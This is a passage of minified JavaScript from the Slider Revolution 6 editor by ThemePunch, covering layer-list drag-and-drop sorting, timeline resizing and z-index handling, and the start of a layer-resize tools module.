0===RVS.S.llcache?{}:RVS.S.llcache,RVS.DOC.on("updateLayerAlias",function(e,t){document.getElementById("layerlist_element_alias_"+RVS.S.slideId+"_"+t).innerHTML=RVS.L[t].alias,"group"===RVS.L[t].type&&(document.getElementById("_group_head_title_"+RVS.S.slideId+"_"+t).innerHTML=RVS.L[t].alias),RVS.selLayers[0]==t&&(document.getElementById("updateLayerSingleAliasInput").value=RVS.L[t].alias)}),RVS.DOC.on("beforeSlideChange",function(e,t){RVS.F.stopAndPauseAllLayerAnimation(),void 0!==RVS.S.llcache[RVS.S.slideId]&&void 0!==RVS.S.llcache[RVS.S.slideId].tlLayerList&&RVS.S.llcache[RVS.S.slideId].tlLayerList.parentElement.removeChild(RVS.S.llcache[RVS.S.slideId].tlLayerList)}),RVS.DOC.on("updateScrollBars",function(e,t){RVS.F.layerListScrollable("update"),RVS.C.layerListWrap.trigger("ps-scroll-x"),RVS.C.layerListWrap.trigger("ps-scroll-y")}),RVS.TL.TL.resizable({handles:"n",minHeight:71,maxHeight:600,start:function(e,t){RVS.TL.TL.addClass("inResize")},resize:function(e,t){tpGS.gsap.set("#tlLayerListWrap",{height:t.size.height-36+"px"}),tpGS.gsap.set("#timeline",{top:"0px"}),RVS.ENV.globVerOffset=t.size.height,RVS.DOC.trigger("updatesliderlayout","layerlist.js-355"),window.timeline_in_resize=!0},stop:function(e,t){RVS.TL.TL.removeClass("inResize"),tpGS.gsap.set("#tlLayerListWrap",{height:t.size.height-36+"px"}),RVS.V.timeline_height=t.size.height,RVS.DOC.trigger("updateScrollBars"),window.timeline_in_resize=!1,RVS.F.expandCollapseTimeLine(!0,"open")}}),RVS.F.layerListScrollable("init")},RVS.F.updateZoneZIndexes=function(){tpGS.gsap.set(RVS.C.rZone.top,{zIndex:RVS.L.top.position.zIndex}),tpGS.gsap.set(RVS.C.rZone.bottom,{zIndex:RVS.L.bottom.position.zIndex}),tpGS.gsap.set(RVS.C.rZone.middle,{zIndex:RVS.L.middle.position.zIndex})},RVS.F.buildLayerLists=function(e){RVS.L=RVS.SLIDER[RVS.S.slideId].layers,!0!==i[RVS.S.slideId]&&(i[RVS.S.slideId]=!0,RVS.F.preloadUsedFonts());var t=0;RVS.F.updateColumnBreaksChildren(),void 0===RVS.L.top&&(t=function(e){var t=0;for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&"row"===RVS.L[i].type&&(t=t<RVS.L[i].position.zIndex?RVS.L[i].position.zIndex:t);return parseInt(t)}(),RVS.L.top={uid:"top",group:{puid:-1,groupOrder:t},type:"zone",alias:"TOP ROWS",position:{zIndex:t}},RVS.L.middle={uid:"middle",group:{puid:-1,groupOrder:t},type:"zone",alias:"MID ROWS",position:{zIndex:t}},RVS.L.bottom={uid:"bottom",group:{puid:-1,groupOrder:t},type:"zone",alias:"BOTTOM ROWS",position:{zIndex:t}}),RVS.F.updateZoneZIndexes(),RVS.F.getLlength(),RVS.selLayers=[],RVS.S.llcache[RVS.S.slideId]=void 0===RVS.S.llcache[RVS.S.slideId]?{}:RVS.S.llcache[RVS.S.slideId],(e=void 0===e?{}:e).force||void 0===RVS.S.llcache[RVS.S.slideId].tlLayerList?RVS.F.reDrawListElements():void 0!==RVS.S.llcache[RVS.S.slideId].tlLayerList&&RVS.C.layerListWrap[0].appendChild(RVS.S.llcache[RVS.S.slideId].tlLayerList),RVS.F.layerListScrollable("update"),e.ignoreRebuildHTML||RVS.F.buildHTMLLayers({ignoreDrawLayers:e.ignoreDrawLayers}),e.ignoreSelectLayers||RVS.F.selectLayers()},RVS.F.getLlength=function(){for(var e in RVS.V.Llength=0,RVS.L)RVS.L.hasOwnProperty(e)&&RVS.V.Llength++},RVS.F.clearCache=function(e){if(null!=e&&void 0!==e.slides)for(var t in e.slides)e.slides.hasOwnProperty(t)&&void 0!==cache&&void 0!==RVS.S.llcache[e.slides[t]]&&void 0!==RVS.S.llcache[e.slides[t]].tlLayerList&&(RVS.S.llcache[e.slides[t]].tlLayerList.remove(),RVS.S.llcache[e.slides[t]]=void 0)},RVS.F.getLayerChildren=function(e){var t=void 0===e.kids?{}:e.kids;for(var i in RVS.L)if(RVS.L.hasOwnProperty(i)&&RVS.L[i].group.puid==e.layerid){for(var a in t[RVS.L[i].uid]={type:RVS.L[i].type,frames:{}},RVS.L[i].timeline.frames)RVS.L[i].timeline.frames.hasOwnProperty(a)&&(t[RVS.L[i].uid].frames[a]=RVS.L[i].timeline.frames[a].timeline.start);jQuery.inArray(RVS.L[i].type,["column","row","group"])>=0&&(t=RVS.F.getLayerChildren({layerid:RVS.L[i].uid,kids:t}))}return t},RVS.F.getVisibleLayersInList=function(){var e=0;for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&(-1===RVS.L[t].group.puid?e++:(-1!==RVS.L[RVS.L[t].group.puid].group.puid||jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[t].group.puid).hasClass("collapsed"))&&(-1===RVS.L[RVS.L[t].group.puid].group.puid||jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[RVS.L[t].group.puid].group.puid).hasClass("collapsed"))||e++);return e},RVS.F.expandCollapseTimeLine=function(t,i,a,r){var s,o;window.timeline_in_resize||"done"!==RVS.S.ReadyToShowAll||(s=o=RVS.TL.TL.height(),t&&((s=s<=76&&"close"!==i||"open"===i?"auto"===RVS.V.timeline_height?Math.max(RVS.V.timeline_minOpenHeight,window.innerHeight-RVS.S.ulDIM.height-65):RVS.V.timeline_height:76)!==o?a?(RVS.TL.TL[0].style.height=s+"px",RVS.ENV.globVerOffset=s,!0!==r&&RVS.DOC.trigger("updatesliderlayout","layerlist.js-142")):tpGS.gsap.to(RVS.TL.TL,.3,{height:s,ease:"power3.out",onUpdate:function(){RVS.ENV.globVerOffset=tpGS.gsap.getProperty(RVS.TL.TL[0],"height"),RVS.DOC.trigger("updatesliderlayout","layerlist.js-142")}}):RVS.ENV.globVerOffset=s,a?RVS.C.layerListWrap[0].style.height=s-36+"px":tpGS.gsap.to(RVS.C.layerListWrap,.15,{height:s-36,ease:"power3.out",onComplete:function(){RVS.DOC.trigger("updateScrollBars")}})),RVS.C.theEditor[0].style.paddingBottom=s+"px",s>76?jQuery("#timeline_collapser").show():jQuery("#timeline_collapser").hide(),clearTimeout(RVS.S.updateTimeLineHeight),e!==s&&(RVS.S.updateTimeLineHeight=setTimeout(function(){RVS.ENV.globVerOffset=s,!0!==r&&RVS.DOC.trigger("updatesliderlayout","layerlist.js-157"),e=s},170)))},RVS.F.getLayerOrder=function(){return a([],-1)},RVS.F.getLayerBeforeZIndex=function(e){var t,i,r=a([],RVS.L[e].group.puid);switch(RVS.L[e].type){case"row":case"column":for(i in r)r.hasOwnProperty(i)&&r[i].sort<RVS.L[e].group.groupOrder&&(void 0===t||r[i].sort>RVS.L[t].group.groupOrder)&&(t=r[i].id);break;default:for(i in r)r.hasOwnProperty(i)&&r[i].zIndex>RVS.L[e].position.zIndex&&(void 0===t||r[i].zIndex<RVS.L[t].position.zIndex)&&(t=r[i].id)}return t},RVS.F.getLayerAfterZIndex=function(e){var t,i,r=a([],RVS.L[e].group.puid);switch(RVS.L[e].type){case"row":case"column":for(i in r)r.hasOwnProperty(i)&&r[i].sort>RVS.L[e].group.groupOrder&&(void 0===t||r[i].sort<RVS.L[t].group.groupOrder)&&(t=r[i].id);break;default:for(i in r)r.hasOwnProperty(i)&&r[i].zIndex<RVS.L[e].position.zIndex&&(void 0===t||r[i].zIndex>RVS.L[t].position.zIndex)&&(t=r[i].id)}return t},RVS.F.updateCoveredTimelines=function(){var e=RVS.TL.TL.offset().left;RVS.TL.ct.offset().left-e<290?RVS.TL.ct[0].classList.add("covered"):RVS.TL.ct[0].classList.remove("covered"),RVS.TL.mt.offset().left-e<290?RVS.TL.mt[0].classList.add("covered"):RVS.TL.mt[0].classList.remove("covered"),RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.set&&(RVS.TL.slte.offset().left-e<290?RVS.TL.slte[0].classList.add("covered"):RVS.TL.slte[0].classList.remove("covered"),RVS.TL.slts.offset().left-e<290?RVS.TL.slts[0].classList.add("covered"):RVS.TL.slts[0].classList.remove("covered"))},RVS.F.layerListScrollable=function(t){if(void 0===t||"init"===t)RVS.TL._scrollLeft=0,RVS.C.layerListWrap.RSScroll({wheelPropagation:!0,suppressScrollX:!1,minScrollbarLength:30}).on("ps-scroll-y",function(){n({container:"#tl_layerList_"+RVS.S.slideId,cIdName:"tllayerlist_element"})}).on("ps-scroll-x",function(){RVS.TL._scrollLeft=this.scrollLeft,tpGS.gsap.set([jQuery("#tlLayerListWrap .context_left"),"#the_st_cl","#hovertime",".timeline_left_container"],{x:this.scrollLeft}),tpGS.gsap.set(["#timeline_top_toolbar"],{x:0-this.scrollLeft}),RVS.F.updateHoverTime({pos:!1,cont:!0}),RVS.F.updateCoveredTimelines()});else{if("scrollToSelected"===t){var i=jQuery(".tllayerlist_element.checked").first().length>0?jQuery(".tllayerlist_element.checked").first().offset().top:0;e=void 0===e?RVS.TL.TL.height():e,i>RVS.S.winh-e&&i+50<RVS.S.winh||RVS.C.layerListWrap.scrollTop(RVS.C.layerListWrap.scrollTop()-(RVS.S.winh-e+40-i)).RSScroll("update")}"update"===t&&RVS.C.layerListWrap.RSScroll("update")}},RVS.F.saveCollapsedGroups=function(){RVS.SLIDER[RVS.S.slideId].slide.runtime=void 0===RVS.SLIDER[RVS.S.slideId].slide.runtime?{}:RVS.SLIDER[RVS.S.slideId].slide.runtime,RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups=[];var e=document.getElementsByClassName("withchildren collapsed");for(var t in e)e.hasOwnProperty(t)&&void 0!==e[t].id&&RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups.push(e[t].id)},RVS.F.updateCollapsedGroups=function(){for(var e=0;e<=RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups.length-1;e++)if(void 0!==RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups[e]){var t=document.getElementById(RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups[e]);null!=t&&(t.className+=" collapsed")}},RVS.F.reDrawListElements=function(){void 0!==RVS.SLIDER[RVS.S.slideId].slide.runtime&&void 0!==RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups&&RVS.F.updateCollapsedGroups();var e,i=a([],-1);void 0===RVS.S.llcache[RVS.S.slideId].tlLayerList||0==RVS.C.layerListWrap.find(".layerListContainer").length?RVS.S.llcache[RVS.S.slideId].tlLayerList=RVS.F.cE({t:"ul",id:"tl_layerList_"+RVS.S.slideId,cN:"layerListContainer"}):(void 0===RVS.S.llcache[RVS.S.slideId].tlLayerList&&(RVS.S.llcache[RVS.S.slideId].tlLayerList=document.getElementById("tl_layerList_"+RVS.S.slideId)),RVS.S.llcache[RVS.S.slideId].tlLayerList,e={container:RVS.S.llcache[RVS.S.slideId].tlLayerList.id,cIdName:"tllayerlist_element"},jQuery(e.container+" ."+e.cIdName).each(function(){jQuery(this).data("uiDraggable")&&jQuery(this).draggable("destroy")}),RVS.S.llcache[RVS.S.slideId].tlLayerList.innerHTML="",RVS.S.llcache[RVS.S.slideId].tlLayerList.parentElement.removeChild(RVS.S.llcache[RVS.S.slideId].tlLayerList)),function e(t){var i;for(var a in t.list){if(!t.list.hasOwnProperty(a))continue;var s=t.list[a],o="zone"===s.type||"group"===s.type||"row"===s.type||"column"===s.type;let n=RVS.L[s.id],l="zone"===n.type?"":" not_zone_layer";i=RVS.F.cE({t:"li",cN:(o?"withchildren ":"")+(void 0!==n.actions&&n.actions.action.length>0?"actionmarked ":" ")+t.cIdName+" layerlist_element "+t.cIdName+"_"+n.type+" "+n.type+"_"+n.uid+l,id:t.cIdName+"_"+RVS.S.slideId+"_"+n.uid,ds:{puid:n.group.puid,type:n.type,id:n.uid}}),o&&0===s.list.length&&(i.dataset.status="empty"),i.appendChild(r(RVS.L[s.id],o)),o&&e({list:s.list,container:i.querySelector("ul"),showEmpty:!1,cIdName:t.cIdName}),"tllayerlist_element"===t.cIdName&&"top"!==s.id&&"middle"!==s.id&&"bottom"!==s.id&&RVS.F.addLayerFrames(RVS.L[s.id],i),t.container.appendChild(i)}t.showEmpty&&0===t.list.length&&((i=RVS.F.cE({t:"li",cN:t.cIdName+" nolayeravailable"})).innerHTML='<div class="context_left"><div class="layerlist_element_type"><i class="material-icons">not_interested</i></div><div class="layerlist_element_alias">No Layer Available</div></div>',t.container.appendChild(i))}({list:i,container:RVS.S.llcache[RVS.S.slideId].tlLayerList,showEmpty:!0,cIdName:"tllayerlist_element"}),RVS.C.layerListWrap[0].appendChild(RVS.S.llcache[RVS.S.slideId].tlLayerList),function(e){e.length>0?jQuery(".layerlist_element.nolayeravailable").hide():jQuery(".layerlist_element.nolayeravailable").show()}(i),function(e){var i,a,r,d,S=0;jQuery(e.container+" ."+e.cIdName).draggable({helper:"clone",opacity:.5,axis:"y",start:function(t,o){if("zone"!=this.dataset.type){"row"===this.dataset.type&&RVS.TL.TL.addClass("layer_in_drag");var l=jQuery(RVS.S.llcache[RVS.S.slideId][e.cacheSub]);o.helper.width(l.width()),r=jQuery(e.container).closest(".ps"),i=r.height(),"column"===this.dataset.type&&jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+this.dataset.puid).find("."+e.cIdName+"_column").each(s),"row"===this.dataset.type&&jQuery("."+e.cIdName+"_row").each(s),r.length>0&&r.hasClass("ps--active-y")&&RVS.F.layerListScrollable("update"),setTimeout(function(){n(e)},50),d=setInterval(function(){r.length>0&&r.hasClass("ps--active-y")&&(a=l.offset().top,S<a+r[0].scrollTop+20&&r[0].scrollTop>0?(r[0].scrollTop--,n(e)):S>parseInt(a,0)+parseInt(i,0)+r[0].scrollTop-20&&r[0].scrollTop<i&&(r[0].scrollTop++,n(e)))},5)}else jQuery(this).draggable("disable")},drag:function(i,a){if("zone"!=this.dataset.type){var r=l({y:i.pageY});if(S=i.pageY,!1!==r&&(jQuery("."+e.cIdName).removeClass("beforeitemdrop").removeClass("afteritemdrop").removeClass("incolumntopdrop").removeClass("incolumndrop").removeClass("afterzonedrop"),RVS.S.llcache[RVS.S.slideId][e.cacheSub].classList.remove("sortToTheEnd"),i.pageY<t[1].y||!0===r.found)){var s="";switch(r.cover=r.cover<-18?0:r.cover,this.dataset.type){case"row":-1===r.puid&&jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+r.id).addClass("incolumndrop"),"top"!==r.puid&&"bottom"!==r.puid&&"middle"!==r.puid||(s=r.cover<18?"beforeitemdrop":"afteritemdrop"),"top"!==r.id&&"bottom"!==r.id&&"middle"!==r.id||(s=r.cover<18&&"top"!==r.id?"beforeitemdrop":"afteritemdrop");break;case"group":s=r.cover<18?"beforeitemdrop":"afteritemdrop";break;case"column":jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+this.dataset.puid).addClass("incolumndrop"),r.puid===this.dataset.puid&&(s=r.cover<18?"beforeitemdrop":"afteritemdrop");break;default:"zone"!==r.type&&"row"!==r.type?(-1!==r.puid&&"zone"!==r.type&&"column"!==r.type&&"row"!==r.type&&"group"!==r.type&&jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+r.puid).addClass("incolumndrop"),s=r.cover<18?"column"!==r.type?"beforeitemdrop":"afteritemdrop incolumntopdrop":"row"!==r.type&&"column"!==r.type&&"group"!==r.type?"afteritemdrop":"column"===r.type||"group"===r.type?"incolumntopdrop":s):(r.cover<18&&"zone"===r.type&&"top"===r.id&&(s="beforeitemdrop"),"zone"===r.type&&"bottom"===r.id&&(s="afterzonedrop"))}jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+r.id).addClass(s)}}},stop:function(i,a){if("zone"!=this.dataset.type){RVS.TL.TL.removeClass("layer_in_drag"),clearInterval(d),jQuery("."+e.cIdName).removeClass("beforeitemdrop").removeClass("afteritemdrop").removeClass("incolumntopdrop").removeClass("incolumndrop"),RVS.S.llcache[RVS.S.slideId][e.cacheSub].classList.remove("sortToTheEnd"),"column"===this.dataset.type&&jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+this.dataset.puid).find("."+e.cIdName+"_column").each(o),"row"===this.dataset.type&&jQuery("."+e.cIdName+"_row").each(o);var r,s=l({y:i.pageY});if(!1!==s){if(i.pageY<t[1].y||!0===s.found){r="";switch(this.dataset.type){case"row":"top"!==s.puid&&"bottom"!==s.puid&&"middle"!==s.puid||(r=s.cover<18?"before":"after"),s.cover>=18&&("top"===s.id||"bottom"===s.id||"middle"===s.id)&&(r="zone"),s.cover<18&&"middle"===s.id&&(s.id="top",r="zonebottom"),s.cover<18&&"bottom"===s.id&&(s.id="middle",r="zonebottom");break;case"group":r=s.cover<18?"before":"after";break;case"column":s.puid===this.dataset.puid&&(r=s.cover<18?"before":"after");break;default:r=s.cover<18&&"column"!==s.type&&"row"!==s.type&&("zone"!==s.type||"top"===s.id)?"before":s.cover<18&&"column"===s.type?"column":s.cover>17&&"row"!==s.type&&"column"!==s.type&&"group"!==s.type&&"zone"!==s.type?"after":s.cover>17&&"column"===s.type?"column":s.cover>17&&"group"===s.type&&-1==s.puid?"group":-1!=s.puid&&"bottom"!==s.puid||"zone"!==s.type?r:"after"}}else switch(this.dataset.type){case"row":case"column":break;default:r="after",s.id=function(e){var t,i=0;for(var a in e)e.hasOwnProperty(a)&&e[a].y>=i&&(t=e[a],i=e[a].y);return t}(t).id}""!==r&&RVS.F.sortLayer({layer:this.dataset.id,target:r,env:s.id})}}},revert:"true"})}({container:"#tl_layerList_"+RVS.S.slideId,cacheSub:"tlLayerList",cIdName:"tllayerlist_element"}),RVS.F.updateCollapsedGroups(),RVS.F.checkLockedLayers(),RVS.F.checkShowHideLayers()},RVS.F.sortLayerStepOne=function(e){if(e.env!==e.layer){var t="#tllayerlist_element_"+RVS.S.slideId+"_",i=jQuery(t+e.layer);switch(e.target){case"after":"group"==RVS.L[e.layer].type&&-1!==RVS.L[e.env].group.puid&&(e.env=RVS.L[e.env].group.puid),"row"!==RVS.L[e.layer].type&&"row"===RVS.L[e.env].type?i.appendTo("#tl_layerList_"+RVS.S.slideId):i.insertAfter(t+e.env);break;case"before":"group"==RVS.L[e.layer].type&&-1!==RVS.L[e.env].group.puid&&(e.env=RVS.L[e.env].group.puid),"row"!==RVS.L[e.layer].type&&"row"===RVS.L[e.env].type?i.appendTo("#tl_layerList_"+RVS.S.slideId):i.insertBefore(t+e.env);break;case"zone":RVS.L[e.env].group.puid!==e.env&&i.prependTo(t+e.env+">ul");break;case"zonebottom":"row"==RVS.L[e.layer].type?RVS.L[e.env].group.puid!==e.env&&i.appendTo(t+e.env+">ul"):i.appendTo("#tl_layerList_"+RVS.S.slideId);break;case"group":case"column":i.prependTo(t+e.env+" ul");break;case"columnend":i.appendTo(t+e.env+" ul");break;case"veryend":"row"==RVS.L[e.layer].type?i.appendTo(t+"bottom>ul"):i.appendTo("#tl_layerList_"+RVS.S.slideId)}}},RVS.F.sortLayerStepTwo=function(e){if("column"===e.dropto&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.x.#size#.v",val:0}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.y.#size#.v",val:0}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.horizontal.#size#.v",val:"left"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.vertical.#size#.v",val:"top"})),void 0!==e.resetPosition&&("group"===e.dropto||"root"===e.dropto)){var t=e.resetPosition.x-RVS.H[e.layer].w_offsetcache.horizontal,i=e.resetPosition.y-RVS.H[e.layer].w_offsetcache.vertical;RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.x.#size#.v",val:t}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.y.#size#.v",val:i}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.horizontal.#size#.v",val:"left"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.vertical.#size#.v",val:"top"})}},RVS.F.sortAllSelectedLayers=function(e){var t,i=jQuery.extend({},e),a=RVS.selLayers.length-1;for(t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(i.layer=RVS.selLayers[a-t],"row"!==RVS.L[i.layer].type&&"column"!==RVS.L[i.layer].type&&"group"!==RVS.L[i.layer].type&&RVS.F.sortLayerStepOne(i));for(t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(i.layer=RVS.selLayers[a-t],i.positionoffset=t,"row"!==RVS.L[i.layer].type&&"column"!==RVS.L[i.layer].type&&"group"!==RVS.L[i.layer].type&&RVS.F.sortLayerStepTwo(i));d(),RVS.F.updateZIndexTable(),RVS.F.reOrderHTMLLayers()},RVS.F.sortLayer=function(e){RVS.F.sortLayerStepOne(e),setTimeout(function(){RVS.F.openBackupGroup({id:"layersorting",txt:"Layer Sorting",icon:"sort_by_alpha"}),RVS.F.sortLayerStepTwo(e),d(),RVS.F.updateZIndexTable(),RVS.F.closeBackupGroup({id:"layersorting"}),RVS.F.reOrderHTMLLayers(),e.redraw&&RVS.F.updateSelectedHtmlLayers(!0),RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})},50)},RVS.F.updateZIndexTable=function(){var e=jQuery("#tl_layerList_"+RVS.S.slideId+" .layerlist_element"),t=e.length+5,i=0,a=0,r={};for(var s in e)if(e.hasOwnProperty(s)&&void 0!==e[s]&&void 0!==e[s].dataset&&void 0!==e[s].dataset.id){0;var o=RVS.L[e[s].dataset.id].group.puid;-1===o||"group"===RVS.L[o].type?t--:i++,a=-1===o||"group"===RVS.L[o].type?t:i,r[o]=void 0===r[o]?0:r[o],RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e[s].dataset.id+".position.zIndex",val:a}),-1!==o&&"group"!==RVS.L[o].type?(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e[s].dataset.id+".group.groupOrder",val:r[o]}),r[o]++):(0,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e[s].dataset.id+".group.groupOrder",val:a})),"zone"!==RVS.L[e[s].dataset.id].type&&tpGS.gsap.set(RVS.H[e[s].dataset.id].w,{zIndex:a})}RVS.F.updateZoneZIndexes()}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR LAYERTOOLS JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
function(){RVS.RSCBA={a:["width","height","maxWidth","maxHeight","minWidth","minHeight"],ai:["layer_width","layer_height","layer_max_width","layer_max_height","layer_min_width","layer_min_height"],t:["fontSize","lineHeight","letterSpacing"],ti:["layer_font_size_idle","layer_line_height_idle","layer_letter_spacing_idle"],f:["transform","mask","chars","words","lines"],sh:["hoffset","voffset","blur","spread"]};var e,t,i=["horizontal","vertical","borderStyle","width","height","x","y","lineHeight","fontSize","color","textAlign","fontWeight","letterSpacing","blur","hoffset","voffset","spread","frameX","frameY","charsX","charsY","wordsX","wordsY","linesX","linesY","whiteSpace"];function a(e){var t="start";void 0!==e.container&&e.container.find(e.type).each(function(){e.uid!==this.dataset.uid&&(t=RVS.L[this.dataset.uid].group.groupOrder<=RVS.L[e.uid].group.groupOrder&&void 0!==RVS.H[this.dataset.uid]?this.dataset.uid:t)}),"start"===t?e.container[0].prepend(e.layer):RVS.F.insertAfter(e.layer,RVS.H[t].w[0])}function r(e){void 0!==e&&e.resizable({handles:"se",start:function(e,t){switch(RVS.L[RVS.selLayers[0]].type){case"text":case"button":RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_style",!0);break;default:RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_position",!0)}RVS.C.layergrid.addClass("layersInDragorResize"),RVS.F.doResizeLayers({mode:"init"}),window.lastReScalerWidth=RVS.H[RVS.selLayers[0]].w.width()},resize:function(e,t){var i=Math.round(t.size.width/t.originalSize.width*100)/100;i!==window.lastReScalerSize&&RVS.F.doResizeLayers({mode:"update",size:i}),window.lastReScalerSize=i},aspectRatio:!0,stop:function(e,t){var i=Math.round(t.size.width/t.originalSize.width*100)/100;RVS.F.doResizeLayers({mode:"set",size:i}),t.helper[0].style.width="100%",t.helper[0].style.height="100%",RVS.C.layergrid.removeClass("layersInDragorResize"),RVS.S.justresized=!0,setTimeout(function(){RVS.S.justresized=!1},100)}})}function s(e,t,i,a,r){var s;return void 0===t||"auto"==t||"none"==t||!RVS.F.isNumeric(parseInt(t,0))||!RVS.F.isNumeric(t)&&t.indexOf("%")>0?s=t:(s=Math[e](parseInt(t,0)*i),s=void 0===a?s:s+a),s}function o(e){var t={x:e.position.x[RVS.screen].v,y:e.position.y[RVS.screen].v,padding:jQuery.extend(!0,{},e.idle.padding[RVS.screen].v),borderRadius:jQuery.extend(!0,{},e.idle.borderRadius.v),width:e.size.width[RVS.screen].v,height:e.size.height[RVS.screen].v,minHeight:e.size.minHeight[RVS.screen].v,maxHeight:e.size.maxHeight[RVS.screen].v,minWidth:e.size.minWidth[RVS.screen].v,maxWidth:e.size.maxWidth[RVS.screen].v,wrap:e.idle.whiteSpace[RVS.screen].v,boxShadow:{hoffset:e.idle.boxShadow.hoffset[RVS.screen].v,voffset:e.idle.boxShadow.voffset[RVS.screen].v,blur:e.idle.boxShadow.blur[RVS.screen].v,spread:e.idle.boxShadow.spread[RVS.screen].v}};for(var i in jQuery.inArray(e.type,["text","button"])>=0&&(t.fontSize=e.idle.fontSize[RVS.screen].v,t.letterSpacing=e.idle.letterSpacing[RVS.screen].v,t.lineHeight=e.idle.lineHeight[RVS.screen].v),t.frames={},e.timeline.frames)t.frames[i]={transform:{x:e.timeline.frames[i].transform.x[RVS.screen].v,y:e.timeline.frames[i].transform.y[RVS.screen].v},mask:{x:e.timeline.frames[i].mask.x[RVS.screen].v,y:e.timeline.frames[i].mask.y[RVS.screen].v},chars:{x:e.timeline.frames[i].chars.x[RVS.screen].v,y:e.timeline.frames[i].chars.y[RVS.screen].v},words:{x:e.timeline.frames[i].words.x[RVS.screen].v,y:e.timeline.frames[i].words.y[RVS.screen].v},lines:{x:e.timeline.frames[i].lines.x[RVS.screen].v,y:e.timeline.frames[i].lines.y[RVS.screen].v}};return t}function n(e){var t=RVS.L[e.layerid],i=RSCBS[e.layerid],a=RVS.S.slideId+".layers."+e.layerid;if(jQuery.inArray(t.type,["text","button"])>=0)for(var r in RVS.RSCBA.t)RVS.F.updateSliderObj({path:a+".idle."+RVS.RSCBA.t[r]+"."+RVS.screen+".v",val:s("round",i[RVS.RSCBA.t[r]],e.size),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});for(var r in RVS.RSCBA.a)RVS.F.updateSliderObj({path:a+".size."+RVS.RSCBA.a[r]+"."+RVS.screen+".v",val:s("round",i[RVS.RSCBA.a[r]],e.size),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});for(var o=0;o<4;o++)RVS.F.updateSliderObj({path:a+".idle.padding."+RVS.screen+".v."+o,val:s("round",i.padding[o],e.size),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});if(!0===t.idle.boxShadow.inuse)for(var r in RVS.RSCBA.sh)RVS.F.updateSliderObj({path:a+".idle.boxShadow."+RVS.RSCBA.sh[r]+"."+RVS.screen+".v",val:s("round",i.boxShadow[RVS.RSCBA.sh[r]],e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});for(o in RVS.L[e.layerid].timeline.frames)for(var r in RVS.RSCBA.f)RVS.F.updateSliderObj({path:a+".timeline.frames."+o+"."+RVS.RSCBA.f[r]+".x."+RVS.screen+".v",val:s("round",i.frames[o][RVS.RSCBA.f[r]].x,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup}),RVS.F.updateSliderObj({path:a+".timeline.frames."+o+"."+RVS.RSCBA.f[r]+".y."+RVS.screen+".v",val:s("round",i.frames[o][RVS.RSCBA.f[r]].y,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});e.ingroup&&(RVS.F.updateSliderObj({path:a+".position.x."+RVS.screen+".v",val:s("round",i.x,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup}),RVS.F.updateSliderObj({path:a+".position.y."+RVS.screen+".v",val:s("round",i.y,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup})),RVS.F.drawHTMLLayer({uid:e.layerid}),RVS.F.updateEasyInputs({container:jQuery("#form_layer_style"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateEasyInputs({container:jQuery("#form_layer_advstyle"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateEasyInputs({container:jQuery("#form_layer_position"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.DOC.trigger("layerresized",{layerid:e.layerid})}function l(e){var t=RVS.L[e.layerid],i=RSCBS[e.layerid];if(RVS.cC=void 0===RVS.cC?{}:RVS.cC,jQuery.inArray(t.type,["text","button"])>=0)for(var a in RVS.RSCBA.t)t.idle[RVS.RSCBA.t[a]][RVS.screen].v=s("round",i[RVS.RSCBA.t[a]],e.size),RVS.cC["js_"+RVS.RSCBA.t[a]]=void 